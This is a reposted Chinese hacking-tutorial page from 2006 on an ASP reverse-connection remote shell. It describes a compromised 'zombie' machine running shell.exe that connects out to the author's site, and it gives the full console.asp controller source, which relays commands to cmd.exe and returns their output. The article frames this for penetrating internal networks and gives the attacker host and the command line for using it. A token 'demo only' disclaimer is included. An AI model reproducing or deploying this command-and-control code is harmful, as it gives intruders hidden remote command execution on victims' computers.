首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客入门 → 文章内容

用ASP实现反向连接控制--ASP,反向连接,控制

作者:佚名  来源:网上收集  发布时间:2006-12-29 15:25:33
原理:用ASP实现反向连接,客户端shell.exe大小6K,控制端console.asp大小1.75K
详解:
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候,想到ASP的Application对象功能之强大,所以产生以下想法
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互,实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流,保存要执行的命令
思路:
[Client] <-----> [Control] <-----> [Attacker]

Client上运行shell.exe,Control运行console.asp,Attacker通过访问console.asp控制Client
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp,URL路径为http://cooldiyer.uni.cc/cmd.asp
这时我访问http://cooldiyer.uni.cc/cmd.asp?who=master (参数一定要加上,标明身份)
就可以进行控制了,Refresh刷新可以看到已经有结果了,输入命令,点Execute执行,过几秒钟后,
点击Refresh按钮可以看到执行结果,点击Clear清空输入输出流,执行"exit"程序退出
声明:
只做技术交流,程序只做演示使用,只实现与cmd.exe交互的功能,转载或修改需保留版权

代码:
console.asp
____________________________________________________________________________
<%
' 功能介绍:
' 用ASP实现反向SHELL连接,与cmd.exe交互,执行命令后点Refresh后就可以看到回显
' 公用变量 Application("input")、Application("output")为全局输入输出流

' 如果请求登录
if request("act") = "login" then
 application("login") = "yes"
 response.end
end if

' 如果请求退出
if request("act") = "exit" then
 application("login") = "no"
 application("input") = ""
 application("outout") = ""
 response.end
end if

' 验证是否已经登录
if application("login") <> "yes" and request("who") = "master" then
 response.write "Client not connect.."
 response.end
end if

' 如果请求执行命令,放到Input流里
if request("cmd") <> "" then
 application("input") = request("cmd")
end if

' 如果命令执行完毕,结果放到output流,input流置空
if request("result")<>"" then
 application("output") = application("output") + request("result")
 application("input") = ""
end if
%>

<% If request("frame")="1" Then %>

<%
' 如果请求清空输入输出流
if request("act") = "clear" then
 Application("input") = ""
 Application("output") = ""
 response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>
</textarea>
<a href=# >Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>
<body>
<iframe src=<%=request.servervariables("script_name")%>?frame=1 width=900 height=500 frameborder=0></iframe><br>
<form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">
<input type=submit value="Execute">
</form>
<script>frm.cmd.focus();</script>
<%
else
 response.write application("input")
end if
%>
 
 

[1] [2] 下一页  

[] [返回上一页] [打 印]
  • 上一篇文章:保护Windows机密数据远离Google黑客--保护,Windows,机密,数据,Google,黑客
  • 下一篇文章:卡巴斯基激活终极篇--卡巴斯基,激活

  • 相关文章:
  • 在PHP中使用ASP.NET AJAX
  • 用ASP.NET(VB版)创建WINDOWS 2000 SERVER站点
  • 在Web Service中使用ASP.net状态保持(6)
  • 在Web Service中使用ASP.net状态保持(5)
  • 在Web Service中使用ASP.net状态保持(4)
  • 在Web Service中使用ASP.net状态保持(3)
  • 在Web Service中使用ASP.net状态保持(2)
  • 在Web Service中使用ASP.net状态保持(1)
  • 利用ASP实现TCP端口扫描--利用,ASP,实现,TCP,端口,扫...
  • 一次用ASP页面漏洞引发的渗透攻击--ASP,页面漏洞,引...
  • [图文]使用ASP建设百度知道,新浪爱问,雅虎知识堂搜...
  • 用ASP实现反向连接控制--ASP,反向连接,控制
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号